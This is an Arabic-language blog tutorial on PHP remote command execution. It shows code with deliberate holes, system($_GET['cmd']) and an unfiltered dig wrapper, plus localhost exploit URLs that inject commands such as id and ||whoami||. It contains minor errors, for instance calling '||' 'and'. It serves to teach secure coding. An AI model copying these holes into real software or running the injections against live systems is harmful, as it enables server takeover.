A Study in PHP Vulnerabilities - RCE
بسم الله الرحمن الرحيم
اللهم صل وسلم على سيدنا محمد وعلى آله وصحبه اجمعين
اللهم علمنا ماينفعنا وانفعنا بما علمتنا انك انت العليم الحكيم
اليوم درسنا عن ثغرات
اللهم صل وسلم على سيدنا محمد وعلى آله وصحبه اجمعين
اللهم علمنا ماينفعنا وانفعنا بما علمتنا انك انت العليم الحكيم
اليوم درسنا عن ثغرات
#
Remote Command Execution ثغرات الكوماند تعطيك الفرصة لتطبيق اوامر خارجية وتستخدم دوال عديدة منها exec ~ Execute an external program passthru ~ Execute an external program and display raw output shell_exec ~ Execute command via shell and return the complete output as a string system ~ Execute an external program and display the outputوغيرها من الدوال الخطيرة نشوف مثال <?php $cmd=$_GET['cmd']; system($cmd); ?> الان اي امر يتم تمريره عبر المتصفح يدخل في دالة system اللي هي بدورها تقوم بتنفيذ الامر نشوف الاستغلال لها كيف http://127.0.0.1/test.php?cmd=id الان الامر id راح يتنفذ مثال اخر $status = $_GET['status']; $ns = $_GET['ns']; $host = $_GET['host']; $query_type = $_GET['query_type']; // ANY, MX, A , etc. $ip = $_SERVER['REMOTE_ADDR']; $self = $_SERVER['PHP_SELF']; ........................ etc ........................ $host = trim($host); $host = strtolower($host); echo("<span class=\"plainBlue\"><b>Executing : <u>dig @$ns $host $query_type</u> </b><br>"); echo '<pre>'; system ("dig @$ns $host $query_type"); الان لو استغلينا الكود السابق بالطريقة التالية http://127.0.0.1/dig.php?ns=whoam&host=sirgod.net&query_type=NS&status=digging لان الاستعلام راح يصبح بالطريقة التالية dig whoami sirgod.com NS ولكن نضع علامة || واللي تدل على "و" يعني تصير بالشكل التالي http://127.0.0.1/dig.php?ns=||whoami||&host=sirgod.net&query_type=NS&status=digging اللي يخلي الكود ينفذ الامر التالي dig ||whoami|| sirgod.net NS طريقة الاصلاح: لاتعطي اليوزر صلاحيات لادخال اي مدخل للدوال السابقة من غير فلترة الى هنا ينتهي الدرس القاكم في دروس اخرى باذن الله
تعليقات
إرسال تعليق